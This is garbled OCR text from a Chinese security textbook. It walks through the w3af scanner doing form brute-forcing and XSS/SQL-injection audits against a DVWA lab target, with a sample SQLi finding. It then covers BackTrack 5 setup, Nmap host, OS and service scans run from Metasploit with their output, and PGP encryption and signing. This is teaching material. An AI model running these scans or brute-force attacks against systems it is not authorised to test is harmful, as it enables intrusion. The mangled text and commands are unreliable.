drwsar— xr— x 3 root root 4096 2013- 05— 20 10:21 tools

— rwxr— xr— X 1 root root 2066 2013- 05— 20 10:24 w3af console
— IWXr— Xr- X 1 root root 3288 2013- 05- 20 10:24 w3af gu

AT AT 7 %0 1 e F AT PEAS TTIAT SCHE 43 51 W3al_console il W3af_gui. % X
{44 Bt T LAAR 3 8 B 3 PR AN BT SR A X0 s B — A4S S a2 17 AT 5 2 i g — A4Sl
FH DR Bt AT 77 3 AEAR IR SRR a2 A7 1 1 - R Fn i a9 al LA B A7 32 BR

(3) M 17% N7 0s T wlaf . BiR&E AT .

root@ bt : /pentest /web/w3af# . /w3af console

(4) [a)RE . (35 Bh a4 ok A B BB AT a2 220

w3af>>> help

W g w3al BEH help SR BB F A0 R -

| start | Start the scan. |
| plugins | Enable and configure plugins. |
| exploit | Exploit the vulnerability. |
| profiles | List and use scan profiles. |
| cleanup | Cleanup before starting a new scan. |

| htigo- settings | Configure the HITP settings of the framework. |
| misc- settings | Configure w3af misc settings. |

| target | Configure the target URL. |

o
| back | Go to the previcus menu. |

| exit | Exit waaf. |

| assert | Check assertion. |

| o
| help | Display help. Issuing: help [camend], prints more



| | specific help aoout "comeand"” |
| version | Show w3af version information. |

| keys | Display key shortcuts. |

4

(5) FE ABLERAC B G Be» ARAE m il help 5 5009 8w A plugins ay
w3af>>> plugins

(6) B JC . HC B I WA

w3af/plugins>>> bruteforce

WE a2 IR BEEE bruteforce Z8(H FKUNT .

| Plugin name | Status | Conf | Description

|
| basiciithBrute | | Yes | Bruteforce HITP basic authentication. |

| formAuthBrute | | Yes | Bruteforce HIML form authentication. |

(7)) i i formAuthBrute £z,

w3af/plugins>>> bruteforce fonmAuthBrute
w3af/plugins>>> bruteforce config formAuthBrute

(8) 7% ) WA A R 5 TN P 2 R ) 5 i

w3af/plugins/bruteforce/config: formmALthBrute>>> set passwdFile True

w3af/plugins/bruteforce/config: fonmAuthBrute>>> set usersFile True

IXFEBEE A H A 788 B T I IR B9 LI R n DR A 5 Y X AR 5
W AT 2 JIWH . HAR . B IIRR RT RE AR R I R ARG AR . R DA W T AR AU A R
ﬁ

W

(9) Je N RTELHR

w3af/plugins/bruteforce/config: formAuthBrute>>> back

(10) BLE X xss A sql 19 s 333 .

w3af/plugins>>> audit xss, sgli

RXRETEE L B2 X H bRt 50 SQL 7 AT XSS il £ 47 44

2 P ok i B discovery f B AH =5,

(11) Bc & fe KR webSpider ffiff .

w3af/plugins>>> discovery webSpider

w3af/plugins>>> discovery config webSpider

webSpider §fi {19 Ty HE & € B ) 34k vp &g — A B 19 URL AS YRS 56 O 1 79 44 i [a] il

i1 onlyForward 2%, ¥ T€ BT e PR & 7 TEHUEL > 38044 B 1 Fr f o i
e |86 e



(12) & 'H onlyForward Z %N E. .
wlaf/plugins/discovery/config:webSpider>>> set onlyForward True
(13) 3Bt webSpider i Hk ,
w3af/plugins/discovery/config:webSpider>>> back

(14) IR B E AR

w3af/plugins>>> back

(15) kA target BLERFEATICE

w3af>>> target

(16) BB AR UE AT H AR b AL
w3af/config:target>>> set target htip://Awiw.dvssc.can/dvwa/1ndex . php
(17) Bl target BEE IR,

wiaf/config:target>>> back

(18) H-k i A plugins 15 B FL B,

w3af>>> plugins

(19) 5 & 14 25 AR A i ) SO 26 A

w3af/plugins>>> output htmlFile
w3af/plugins>>> output config htmlFile

TEARUCSH ol & HTML SCHER R, MR AR Z 2R, e H T LA & #fT
(20) 1% ‘B verbose Z %L,

w3af/plugins/output /config:htmlFile>>> set verbose True

(21) B i th SCPF ) SCF 44

wiaf/plugins/output/config:htmlFile>>> set fileName tack.html

(22) iIBH output 14 B ALHL

w3af/plugins/output/config:html File>>> back

(23) B Hi plugins BB

w3af/plugins>>> back

HAMWKECETEMN . el DIfd A start g2 2R T AR AR T .
(24) i [ start a4 o

w3af>>> start
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WCE Ja w3al LR R B TEAE ST -

Atto- enabling plugin: grep.passwordProfiling

Aitto- enabling plugin: grep.getMails

Aitto- enabling plugin: grep.lang

New URL found by webSpider plugin: htip://www.dvssc.can/dvwa/

Found 26 URLs and 27 different points of injection.
The list of URLs is:

A LUE S SR S R R AE B W A B A himl SO A
M w3af 30 dr Rl LLE 344 O track. heml i 3044 . BIFE Sy AR B 35 B 19 SC 4 4% . 2
&l 8.2. 1 PR

core

plugins

locales

readme

<HTML
| =HEAD
<TITL |
scripts tools track.html
#/us #us
e =
w3af_console w3af_qui
821 waaf RBLFAMHEH L trackhtmd XX 4%

FEN e B AT T ol LR B H e i 45 2, € 2/ html SCPEH A1 T H K, 40

&l 8. 2.2 FilEl 8. 2.3 fion .
e b 1 EoR

o FfF b S G A Y A RN 2 AR
o [ IR F Y )R DL R S D T A

o HIAPGRSRZ .

e |88




URL

http://www.dvssc.com/dvwalindex.php

Type  Port

Vulnerability tcp/80

SQL injection in a MySQL database was found at: "http://www.dvssc.com/dvwallogin.php”,
using HTTP method POST. The sent post-data was: "username=d'z"0&Login=Login&
password=FrAmE30.". The modified parameter was "username”. This vulnerability was
found in the request with id 311.

URL : http://www.dvssc.com/dvwa/login.php
Severity : High

Information |tcp/80

SQL injection in a MySQL database was found at: "http://www.dvssc.com/dvwallogin.php",
using HTTP method POST. The sent post-data was: "username=d'z"0&Login=Login&
password=FrAmE30.". The modified parameter was "username”. This vulnerability was
found in the request with id 311.

URL : http://www.dvssc.com/dvwa/login.php

822 tracehtm X1 Y FE RS B (1)

Messa
ge Message
type
Fri 27 May 2016 - |
11:33:10 AMEDT  debug  Exiting setOutputPlugins()
Fri 27 May 2016
11-33:11 AMEDT  debug  |Called w3afCore.start()

Enabled plugins:

plugins
audit xss, sqli
back
plugins
bruteforce formAuthBrute
bruteforce config formAuthBrute
set usersFile True
set passwdFile True
set comboFile
set comboSeparator :
set useMailUsers True

823 tracehtm XM IEAE B (D
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GHIV IR ¥ k73D A RE BE KA

9.1 Windows # 45 & Z8 D8 K s 114146 5% 4

S0 28 b

Back Track5 )gif5 k.1 &,
VMware ERIHLEA,1 £,
PC.1 4.

e 5 AT 55

— ST VMware EHIVLEAF T Windows 7 #:4E 24 1 1HE ML, BT5(Back Track
five) &24¢.

o A B

— 5 %% Windows 2000/ XP #:/E R Wit H ML, #E £4% B & NTES, fii % MBSA
(Microsoft Baseline Security Analyzer) T.H.,

5 &5 1 IR

(1) ARP itk f#MrPpid .
(2) RARP 30 b bl % A i .
(3) ICMP Internet ¥l iYL,

R A AR R S 56 A 28 19 3 AL R I B H g 11 45 495 8 FH 39 /& Back Track 5 A iy Metasploit
IR T H, Jilk, M 287 Windows 7 #:4E R iR AL S 8 VMware [ AL A
4 Back Track 5 [0 5% .,

AR ELEAH Y VMware EHIVLRA B VMware Workstation 12.{fi i Back Track 5.

9.2 Back Track 5 2% V) &

(1) FTJF VMware [E3IHLE A . BV Mware Back Track 5 Z3Em S 7% 1, 40 & 9.
2.1 Frow.
(2) Bah“ Q) = oy g UL B 7T, Y B0 8t g UL ) S 7 S . a0 18] 9. 2. 2 Fr s, il i
AN ] S5 oK A A — 158 19 RE HELAIL
(3) FEBCE R P A E X (mg) (O7 B ptu, g~ — 27 4, H 3040
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THE SEE ZEV SHM ERED EBe | - | | 0| =
& -~ | @ x |
Q FHAHEARSHET. -
W
S WORKSTATION 12
) 9, O
BIEFTRISHIHL FIFEEHINL EEElRSRE iEEH VMware
vCloud Air
|
vimware
B 921 LRKESEM
FEREES
R B 2 R L R

VMWARE

WORKSTATION
PRO

(B A2
© SBE(EEND)
i -
© BEX(ERIC)

BRI, <

LB SRRV REIE Workstation 12.0

BEEHH SCSIizHIE2ea « Rl 2
LURS|EM VMware R Bt Fedkin

<50 | [0 >] |

0nE |

E 922 WHREMNESHRE
&1 9. 2.3 Fr s i 1k £ R AU BL A 1F 3l 107 B i .

(4) A" e £ K FUDLAE PR A2 % 7 A 1 b 32 43 BK0A 19 B 15
AR B N 2B

1 A 75

e 23 M, Bl Workstation 12. 0
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FRENNES i S

RSN T ?
I BB TR EL?
SR

W) | Workstation 12,0, | ~

#FE: /] ESX Server(S)

WA AR BR:

Fusion 8.x - 64 GB fI7F R

Workstation 12.0 16 -hMER
10 4Pl BER
BTB iﬁﬁjﬂjx

228 <50 [Fsmw> ][ Bma |

(5) 7ZEHE AN 9. 2. 4 PR U LB P HLEAE R G S b R BT J5 AR AR &
Gi(S)7 kT SN — A7 BB AR 9. 2.5 iRk B R P HLEE R G .
FRENNES IS

RERPIWEERSR
e HANEREY . FERERG - TENIEEFPIERERR?

TRER:
O FEERFTE((D):
&3 DVD 3FzAE (E2) -

O FEBEFAEME 5 (so)(M):
D:\IRE T4k \kalHinux-2016.1-amd64\kakinux-2016.1-am ~| | 1#(R)... |

O FREZRIRERLA(S):
BRMENS RS — TR

2 <50 ] [Fsw> ][ mE |

& 924 "REFFPBRERZFAA

(6) Bl A BT5 J&3TF Ubuntu Lucid LTS, Kernel 2. 6. 38 (1. Wt 7E“ 1% B & P HLEAE
R EM P FE Linux (L) BRI, Wil 76" AR ” 2 11 vp 3£ £ Ubuntu 64 7350, 5 F
— 7L
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FRENNES

EEZPILEFRR
LRI AP Zr MR (F iR ?

FRURERG

© Microsoft Windows(W)
@ Linux(L)

) Novel Netware(E)

(0 Solaris(S)

() VMware ESX(X)

) =ih(0)

bs(v)
|Ubuntu 64 fy i

" <t—50@) | F2sw>]| mBmH |

E 925 #BIERGIRAILF

(7)) B nE 9. 2. 6 BT/~ 1Y “fiy 24 Rg AL At i i)~ Rg UL HL 24 Bk (V) 7 e 301 /g AR
JE SR 1) 24 FR s AR S g iy 2 BTS, 7e“ L & (L) "k mirp Bl EHE — %% H
L AR SZEG B Y & D\ Program Files (x86)\vmware\BT5 2% H %, 85 F—47
TEH .

RS

W BERH
EEALENAER T ARH?

Bt =R (V)
BTS

fug(L):
D:\Program Files (x86)\vmware\BT5| S (R)..

£ HRiE > BRI el ek kA U -

<t—#6) | [ F—swm> || mH |

Bl 926 “GTREMN”FA@E
(8) TEHELMANIE 9. 2. 7 pr/n AL FRESEC & " A, o] LR 38 B & 2501 & 19 68 1
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aAF HAT DR E b 3 e B0 (P) 7 DL R g A A Bl g 19 A% 0 B0 (OO 7 1Y HARAE , A 52 46
F )2 BONE, ™ — 287 4%

FEERNAES "
HEBmRE
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ahyEeE
RIBEHE(P): n -
MBS (C): 1 -]
SEEGESEAN L 1
B < F—%(8) | | F—$N) > BE

B o27 WIEREE"FME

(9 FEH B anE 9. 2. 8 fras 19 itk BE AL AY PN A7 A i e BE FAHL B9 A A (MD) 7 35 Tt
b [FIAE AT DUARHE A 5256 & a9 88 14 254 . 8 B IPL I & N AR R/, AS RS2 50 3% H I J&
1024MB, B4 —4 748

FRELNES X
HERNmATE
IR AN RS M TE?
JEE B I EEIINAIRTER o ATEA VAR 4 MB FafSH -
64GE A EIATE(M): 1024 % MB
32 GB
16 GB
e o BoceEmE
2GB 3024 MB
168 & 4
512 MB < EFEATE:
256 MB 1024 MB
128 MB
64 MB O FP R ERGREEFEATE:
32MB 512 MB
16 MB
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L e <t—50 ] [Fsw> [ mH |

&l 928 REMHAFERE
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(10) BTN 9. 2.9 Frzs iy N 28 25 780 BUI 119 I 28 3% 4227 i Tt v, Ry g 4P AL 3% 4%
“Adi FH 28 o hE 758 (NAT)Y (E) "Fi . a5 F — 257304
FEELES

P4 22
Eirhnupsepodss?

FEE
O fEmHEREE (R)

Arg PURTE Rtz it BREhicl ML AR « FPHLTEs hERpdss Ein
RECH P it

© {ERFEEHHE R (NATHE)

iEEFﬂﬁfFﬁ%ﬁﬁﬁFﬁim 1P titibvAia] E 41 S bap Ll Aol f

O fEARE MRS (H)
BE PR ERREET Y CATE A Rl -
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Install BackTrack

B EANEENY . BESNYSEeERE Cirl+G, a - SB=& D

9231 ECEEMITE

9.3 Nmap W% L H

Metasploit Hr & fik T — e BB B ] T 2 IS BRI E ML, 1 BTS P E @B T
Metasploit . i /] Metasploit #/4EX WX 28 AT 10 BRI F
(1) J3 3l Metasploit, #nf& 9. 3. 1 ffr/n. 7£ BTS i 2 i AR 1 19 4

stall BackTrack _
- % root@bt: ~
File Edit View Terminal Help

bt:~# msfconsole

9031 B3} Metasplot



root@ bt:~ # msfoconsole

(2) Nmap(Network mapper) 2 H A 5 It 17 19 B 45 471 4 T 5, ‘& A HE 4% i 5 3t 280
5 EVLATEA 1R B0 - 1M HRE NS i B8R O Ryw Bl TP kit Bedb 4y 448 . {88/ Nmap HEfS
5 10 H bR R 2 A TR LE AL A0 Y WP 2 i 55 2 T R AY L B 2 R GE R 2 s A T ] e 2 Y
O BI7 2K i 1 8 55

Nmap Y ZAEIR Z . DB WAR 5 . % Nmap iy 2 fUAFCUTE

mst> riep< 1 i PE I > <493 H 45>

Horp g sk 12 R e ) 2. i B AR W — 2 5 o+ il s i U TP
KFRWE— o EH —B TP bk, W R — & EML#E T 5 82 a7 DU FH — A TP 3 ik
VEMFAHETE L s an 2R 02 24 1P skt . n] DAfdi G2 5 40 B O F s an 2R 2 — Bod 2eny 1P Huhtk , o] LA
i EF4 5 ) . i 192, 168, 1. 1-192. 168. 1. 100, 5% {df i JC 25 7 &5 ] 356 3% 3 hil B
(CIDR) /R~ , 11 192. 168.1.0/24,

(3) fdi FH-sn $9 4 10k Wi .

-sn eI 2 ICMP 19 Ping $ 35 AR BN 48 v 59 47 1% FE LR O, A 2 3t — 20 530 3
INESRE AR RN

NG T TR R R

msf> rmap - sn 192.168.1.0/24

52 #9 Nmap #4528 UNE

[* ] exec: map — sn 192.168.1.0/24
Starting Nmep 5.51SWN ( http://mmep.org ) at 2016- 05— 02 20:21 CST
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nrap scan report for 192.168.1.0
Host is up (0.00031s latency).
Nrep scan report for 192.168.1.1
Host 1s up (0.0les latency).

Nmep scan report for 192.168.1.2
Host is up (0.014s latency).

Nrep scan report for 192.168.1.4
Host is up (0.0les latency).

Nrep scan report for 192.168.1.5
Host 1s up (0.0l6s latency).

Nrep scan report for 192.168.1.12
Host is up (2.6s latency).

Nrep scan report for 192.168.1.15
Host is up (0.0013s latency).

Nmep scan report for 192.168.1.24
Host is up (0.00025s latency) .
Nmap scan report for 192.168.1.25
Host is up (0.0041s latency).
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Nrap scan report for 192.168.1.27
Host 1s up (0.00024s latency) .
Nrep scan report for 192.168.1.31
Host is up (0.0014s latency).
Nrep scan report for 192.168.1.33
Host 1s up (0.0019s latency).
Nrep scan report for 192.168.1.90
Host is up (0.00019s latency) .
Nrep scan report for 192.168.1.92
Host 1s up (0.00023s latency).
Nmap scan report for 192.168.1.97
Host is up (0.000099s latency).
Nmep scan report for 192.168.1.100
Host is up (0.043s latency).

Nmep scan report for 192.168.1.101
Host is up (0.00013s latency) .
Nrep scan report for 192.168.1.103
Host is up (0.062s latency).

Nrep scan report for 192.168.1.107
Host is up (0.062s latency).

Nrep scan report for 192.168.1.108
Host is up (0.00021s latency).
Nrep scan report for 192.168.1.109
Host is up (0.00049s latency).
Nrep scan report for 192.168.1.111
Host is up (0.0022s latency).

Nrep scan report for 192.168.1.117
Host 1s up (0.00057s latency) .
Nmep scan report for 192.165.1.121
Host is up (0.00075s latency) .
Nrep scan report for 192.168.1.125
Host 1s up (0.00012s latency) .
Nmep scan report for 192.1658.1.126
Host 1s up (0.00045s latency) .
Nrep scan report for 192.168.1.136
Host 1s up (0.00010s latency) .
Nrep scan report for 192.165.1.140
Host 1s up (0.00026s latency) .
Nrep scan report for 192.168.1.143
Host 1s up (0.00020s latency) .
Nrep scan report for 192.168.1.156
Host 1s up (0.024s latency).

Nrep scan report for 192.168.1.160
Host 1s up (0.046s latency) .
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Nrap scan report for 192.168.1.162
Host 1s up (0.00060s latency).
Nrep scan report for 192.168.1.172
Host is up (0.00060s latency).
Nrep scan report for 192.168.1.175
Host 1s up (2.6s latency).

Nrep scan report for 192.168.1.177
Host is up (0.00024s latency).
Nrep scan report for 192.168.1.181
Host 1s up (2.6s latency).

Nrep scan report for 192.168.1.184
Host is up (0.00020s latency).
Nmep scan report for 192.168.1.1389
Host is up (2.6s latency).

Nmep scan report for 192.168.1.190
Host is up (0.00040s latency) .
Nmep scan report for 192.168.1.195
Host is up (2.6s latency).

Nmap scan report for 192.168.1.198
Host is up (0.00017s latency).
Nmep scan report for 192.168.1.199
Host is up (2.6s latency).

Nmep scan report for 192.168.1.202
Host is wp (2.6s latency).

Nmep scan report for 192.168.1.209
Host is up (0.00014s latency).
Nmap scan report for 192.168.1.212
Host is up (2.6s latency).

Nmap scan report for 192.168.1.215
Host is up (0.000099s latency).
Nrep scan report for 192.168.1.226
Host 1s up (0.00028s latency).
Nrep scan report for 192.1658.1.229
Host is up (2.6s latency).

Nrep scan report for 192.168.1.235
Host 1s up (0.0069s latency).

Nrep scan report for 192.165.1.240
Host 1s up (0.00013s latency).
Nmep scan report for 192.1658.1.245
Host is up (2.6s latency).

Nrep scan report for 192.1658.1.249
Host 1s up (0.00035s latency) .
Nmep scan report for 192.165.1.250
Host 1s up (0.018s latency).
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Nraep scan report for 192.168.1.253

Host is up (2.6s latency).

Nrep scan report for 192.168.1.255

Host is up (0.0014s latency).

Nrap done: 256 TP addresses (55 hosts wp) scanned 1n 27.66 seconds

Al DLE WA 30 FA st E N , nmap T H M 192, 168. 1.0 F] 192. 168. 1. 255 [4) b4k
X E N T 55 IR EREY FEHL,

(4) -0 H k.

-O A PE I 231k Nmap 7 4 20 457 3 H b #E R gt 7500 .

i AR I Ay AT

s> map -0 192.168.1.0
EI-O HE LR

[* ] exec: mmap — 0 192.168.1.0
Starting Nmep 5.51SWN ( htio://mmap.org ) at 2016- 05- 02 21:06 CST
Nrep scan report for 192.168.1.0

Host is up (0.00030s latency).
Al1 1000 scanned ports on 192.168.1.0 are filtered
Warning: OSScan results may be unreliable because we could not find at least 1 gpen and 1 closed port

Device type: general purpose

Running: Microsoft Windows 2008] 7

OS details: Microsoft Windows Server 2008 SP1, Microsoft Windows 7 Enterprise

OS detection perfomed. Please report any incorrect results at htgo: //mmap.ong/sdamnit/ .
Nrep dore: 1 IP address (1 host up) scanned in 52.87 seconds

Al DI Hy, TP i hk o8 192, 168, 1. 0 iy Pl ds B F/E RS 4 9 . Microsoft Windows
Server 2008 SP1, Microsoft Windows 7 Enterprise,
(5) R#EmHHHias =X A 19 5w H 40 8 open (H ) 8% closed (5 H]) W Ff 28 Y, 1
Nmap X ¥ AR 2 089 70 A B0 B2 5840 350, 2L 53 2 6 AN ARAS e open (JFJHO | closed (5G]
filtered (&2 13 7€) cunfiltered (A i3 78) copen | filtered (FF it 8¢ & 1L J€) . closed | filtered (3% 4] 5%
Ead i) . i XX JL A i HOR S S AT 1B
o open: — >N IEAE S B SEAT BT, LA Wok B TCPLUDP g SCTP #piX
RS o X SR AR 2 1 A P i O T 1Y) — 288 g 1o 80 v 1 1 78 HE % 42 {3t — 2% BE 68 it
ARG B iR

 closed: JCHIY 5w H 48 022 EHLC w57 (H &AW H R WU ad im 1. X 28 E BOJF
1B 2= TC 0 E 33 0 s S P g 11 = /D 1 B R LR T BRI .

¢ filtered: A HRAT Nrmap A0S 1 R75 FF AL L HLHS 6 57 8 500 203 1
HE B By K 3 S5 1w i K

o unfiltered: {{AEMEH ACK $9 4 i, Nmap JoiE 8 € v H 22 & T 6 &0 F 13 o ik
2%, nf DUl A S R A 4 (i Window £14 . SYN 4 . FIN $34) #F — £ i 7A
v H AV {E B .

e« 210 o



Nmap ) Z 0] DL 43 S 43485 28 1 22 B30 43 3 28 00 22800, 13 480 28 B 22 4048 7€ Nmap 194
SCERALE] . T A E T Nmap P47 3 31 05 ) — 26 BAR B4 .

H B Nmap HMER S FEEH .

-sT: TCP connect 44, 2L T Metasploit Y tep FHAFIHEI B,

-sS: TCP SYN H#i . 2L F Metasploit H1 1) syn £ L5,

-sF/-sX/-sN: 1k #6359 4 38 1f /2 25 — SERE IR 1Y b 22 A7 DA gk 15 2 sl A 14 ey s

-sP: il & 3K ICMP echo i KR £ L2 5477 . R 3 [F] Ping,

-sU. M H AR EVLIF L 17 WL UDP g 11,

-sA . TCP ACK H3#i.251l Metasploit T/ ack FHiFELH: .

HHAY Nmap £ 2L 100A

-Pn. ZEHAFZ 0] . A K% ICMP echo 12K H br & & 15 BE

-O: Ja X T TCP/IP Ph i k% 0% 45 e ik 43 4 . L gk B 72 3= A0 i 25 4F & 40 28 AU 55
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fFEI-sV SRS R AT

[* ] exec: map — sV —Pn 192.166.1.1
Starting Nmep 5.51SWN ( http://mmap.org ) at 2016- 05- 02 21:31 CST
Nrep scan report for 192.168.1.1

Host is wp (1.0s latency).
Not shown: 994 closed ports

BCRT STATE SERVICE VEESION

2/t goen ssh OpenSSH 3.9l (protocol 1.99)
53/t cpen damain ISC BIND 9.2.4

111/tp gpen rpdoind

113/tp gpen ident authd

514/tcp  filtered  shell

32769/tp  open rpdoind

Service detection performed. Please report any incorrect results at htip://mmap.org/suomit/ .
Nrep done: 1 IP address (1 host up) scanned in 265.02 seconds
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FTFF 0ffice A5
AR Office WY

CoolStreaming
UltraEdit-32
ICH Lite

Frograms

Internet Explorer

Mit1 anlke Fynress

@ FrintMe Internet Frinting
[ Acrobat Distiller 6.0

B Adobe Acrobat 6.0 Standard
@ Microsoft Visual Studio 6.0
'@ Microsoft Web Publishing
@ DaemonScript

o) EEHFEHIE.

'@ Merriam—Webster

@ Documentation

@ PGPtools

é PGP tray

@ ffdshow
@) VobSub

B 1021 #AEBEFRKRE

Eey Generation Wizard

Whgt name and email address should be associated with this key
pair'

By lizting your name and email address here, you let your
correspondents know that the key they are using belongs to you.

Full name:

Ihuangiie

Email address:;
| huangjie_2000(@163.com

< t—#®|F-Fw> mE |0 ®mE |

1022 % N\ 22 FR A0 0B 14 Hb 1t

Eey Generation Wizard

What type of key would you like to generate? If yau dan't know,
It's recommended that you generate a Diffie-Hellman/D55S key
pair.

RS54 is the "old-style” PGP key. Most new users of PGP will be
expecting a Diffie-Hellman/D55 key.

If you'd like more information on the differences between the two
key types, press the Help button, below.

Key Pair Type

" RSA

<&@ | FT-Fm >| B

B 1023 EFERPETEFR




2
)

Eey Generation ¥Wizard

How large a key pair do you wish ta generate? A: a rule, larger
keys are more secure, but slower.

For most applications, 1024 - 2048 bit keys are quite sufficient.

- Key Pair Size-

1024 bits

™ 1536 bits (1536 Diffie-Hellman/1024 D55)
(v 2048 bits (2048 Diffie-Heliman/1024 D551
(™ 3072 bits (3072 Diffie-Hellman/1024 DSS)
" Custom (1024 - 4096 bits)

"D4E

<ts®[F-fw>] Wmw | wm

E 1024 EEFRHANNKE

Eey Generation Wizard

‘You can set your key pair to automatically expire within a certain
amount of time,

When your key pair expires, you will no longer be able to use it for
encrypting o signing. However, it will still decrypt and verfy,

Once you generate your key pair, you will not be able to change
its expiration setting.

-Key Expiration

™ Key pair never expires ‘

{* Key pair gxpires o [2008- 4-26 | ‘

<t—so[F—Fw>] @mm | ®mm |

B 1025 #EFEZHEITE IHIR

Eey Generation ¥Wizard

Your private key will be protected by a passphrase. |t is important
that pou do not wiite this passphrase down,

Your passphraze should be at least 8 characters long and should
contain non-alphabetic characters,

Passphrase: Iv Hide Typing

Passphrase Quality : WENRINRNRRRERANANRRRARARND

Confirmation:

<t—s@|[F-Fw>] wmm |  #E8

& 1026 #j A\ Passthrase
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File Edit View EKeys Server Groups Help

XA xeh &

Keys s Size Description ]
[+ @ Ann Campi <acampi@nai. com> . 2048/1024 DH/DSS publi
+ @ Bi1ll Blanke < )b@pgp. com> | 4096/1024 DH/DSS publi |
# @ Chanda Groom <chanda_groom@nai. .. | 2048/1024 DH/DSS publi —
@ Damon Gallaty <dgall@pgp. com> | 3072/1024 DH/DSS publi

The new key that has been generated during this session is

b b e <h e 200081 . r2048,1024 wery imrtqnt. Lughg your keyfinq file in a dizk -:rgsh or
o % s _ “'ng = - e " accidental file deletion without having a backup will render the
=[] hmangjie <hmangjie 2000@183. .. User ID ey and all data encrypted with that key useless,

"-P huangjie <huangjie_2000@. . . DSS exportab: . -
53 0%, Tassin Bebier. & ananlibep: son® | 2059/1024 DH/DSS publi Itis strongly recommended that you backup your keyring files

# @ Katherine Massucci Pettit <dmp. .. 2048/1024 DH/DSS publi: | b &media other than your main drive.
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public key
public kew
public lLew
public key
public key
public key

¢ PGPkeys Search ¥indow

Search far keys on

http: //papkeys. mit edu: 11371

ﬂ where

| Usger D contains

X

More Choices | Fewer L i'_n:|_'..~:-._|

LI |Darnnn Gallaty

Clear Search

Help

Keys

Size

Descrig#|

+ @ Damon Gallaty <dzal@pgp. com>
# @® Damon Gallaty <dgal@pgp. com>
+ @ Damon Gallaty <dgal@pgp. com>
¥ 0@ Damon Gallaty <dgal@pgp.com”

i| {1l

1024

3072/1024
2048/1024
2048/1024

ESA pul

DH/DSS =
DH/DSS ==
DH/DSS |

>

|Fuund 5 key(s) matching search criteria

ARERREREER

B 10210 @Bid Key Server 315 /A 4A

:9 PGPkeys Search ¥indow

Search for keys on

http: //papk.eys.mit. edu: 11371

;I where

(=13

IUSEI

containg

;I |u:|am-:-r'- qgallaty

ID |

Mare Choices I Fewer El'u::ur,m_l

Clear Search

Keys Validity Trust | Size Deseription
[+ @i Pawon Gallaty (deallrad gatech . . ® 1 1024 Rewvolad BSA public key
# @ Damon Gallaty <dgal@pgp. com’ . ] 1 1024 ESA public key
i B amon Gallaty id=a = om e 3072/1024 DH/DSS public key
# @ Damon Gallaty] Copy [ 2048/1024 DH/DSS public key
# @ Damon Gallaty  Faste [ 2048/1024 DH/DSS public key

Delete

elate from 1

Sigzn .

Set as Default

Add 4

Disable om Sex

Import to Local Keyring

Send to ’

Kew Froperties

g !

key(s) selected

10211

SR

AEEREREEER




¢9 Select key(s)

Select the key(s] you would like to impart to your keyring

Keys Validity Trust | Size Description
L B amon Gallaty <dgal@pgp. com? . mmmm  S072/1024  DH/DSS public key

Select All | Unselect I‘-.Ill Impart LCancel

B 10212 S AL

4. XHMERE

B 2N —1~ Word 3CFY encryption test. doc, TEIZ X1 A, £ £ PGP J5 9 i
— N 1,32 Encryp. Sign, Encrypt and sign fil Wipe 4 4~ , H. b, Encryp /R INE
Sign 7& %4 »Encrypt and sign & N M % 22 A 5 » Wipe a2 55 SCPFH M BR

PEPE Encryp, 8 B SR B XTUEHE . AN 10. 2. 13 Jlrz

B PGPshell — Key Selection Dialog ?[%]
Drag users from this list to the Recipients list Yal. ., Size o
feJAnn Campi <acampi@nai. com? Q@ 204571024 -
[=§B111 Blanke <wjb@pgp. com> QD 4096/1024 :
F«JChanda Groom <chanda_groom@nai. com QP 2048/1024
F=Fhuangjiebupt <huang)iebuptBlB3. com. @  2048/1024

[« Jhuangjie ilmang_] 1&_2000@153 com> Q ------ p048/1024
F«JJason Bobier <jason@pgp. com. . 2059/1024

[=]Jason Bobier <jbobier@prismatix. com’ * ) 2059/1024

[«]Jason Bobier <jbobier@privnet.com” Q@ 2059/1024

(=] Jason Bobier <d0S95098hobbes. kzoo. edu? @ 2059/1024 ¥
Recipients | ¥al .. I Size I
[=Jhuangjie_2005 <huang)iebupt@1B3. com> &  2048/1024

QK Cancel el
[T Text Cutput — I — I Hew

[~ Wipe Original
[T Conwventional Eneryption
[T Self Decrypting Archive

B 10213 ZHMIEFEXIEIE

Recipients n N R Ht2& AT ZE £ N2 2280 . s Ja i SO HoA Wk A
HAHAA AT I Fr L, — A Z 4t Wipe Original G B It SO o an 28 B2 AR S
LB 1 85 00 N B3 B, Dl el DUAdE ) H O3 B s ke AR B & AT REFT T S,

A B SR DL pep 4 R A I SO AR SR B e P8 PGP—Decrypt, PGP £ )7
H sl $2 0 A iy 2581 . 3R 5 m HH P S A RAEH 19 “ Passphrase” (BLE] 10. 2. 14) K5 5038 15 )5
i J5ON S5 SO . B PGP AL # v SCI I AN S AR H AR wh SO 44 7 3 JEUIE A I A HE
IEH W

5. HFE 2

RTINS — A, SR P Y Sign, U A4 B OULE] 10.2.15) .

o« 225 o



PGPshell — Enter Passphrase |E"z|

PGPshell — Enter Passphrase

Message was enciypted to the following public keyls) .

huangjie_2005 <huangjiebupt@163.com: ... [DH/2048) Signing key : [1uan giie <huangjie_2000@163.com> (DSS/1024] ;I
Enter passphrase for above key: ¥ Hide Typing
Enter passphrase for your private key [v Hide Typing
aK Cancel
[V Detached Signature
[T Text Output
ok Cancel
& 10214 % N\ & 3 /Y Passphrase B 10215 #HFEE X

R EFE Detached Signature. PGP £ M R4 SCHF rE 4 — A B 19 28 24 SC1F . DA, sig 2
Fe . tnl DIAT 5 G SCfF e TR E S b 5 # PGP— Verily Signature iy % . PGP # )7 H Zst
BEATEUE . IF s BB IE A R (WA 10, 2. 16)

Siﬁmr ,. .. Si
: .. huangjie <huangjie_2000@1. .. Q Z005-9-30 11:33:59
¢ encryption tes.. . huangzjie <huangjie 200081, . m 2005-9-30 11:33:59

E 10216 #HFEZWIEER

6. 7| PGP R XHF & ZHbfF

Al LIRS SCUF kA7 28 24 e o M N BREHE 2 25 % O o o ml LA B 2 XS ME R A SCE AT 28 44 . Rk %
2 AP A0 128 35 HE AR — R AT

B Sl R R P AR 52 R B 2 S . s B R i RS 2 Foxmail, 401 10. 2. 17
PR

B S (huang jiebupt®163. com)
Hi M) $WIBE) EFY) BAQ #BAE ENOQ TR

H\!‘ 83 4 g

BE TR (AF R 2k

Ihuangj 1ebupt@1E3. com

iE:

E3 Ik digital signature test

huang jiebupt, &
ZA—EhE A, B R B PPl et TR RS S .
ES!

LY |

huangijie

huangjie Z2000@163. com
2005-09-30

B 10217 BAFREMN—HBFHRHF
e 2706 o



E T HFLR PGPrray 19 &b b A7 o PRS2 b £ 4 Current Window—Sign i 4>, 5t
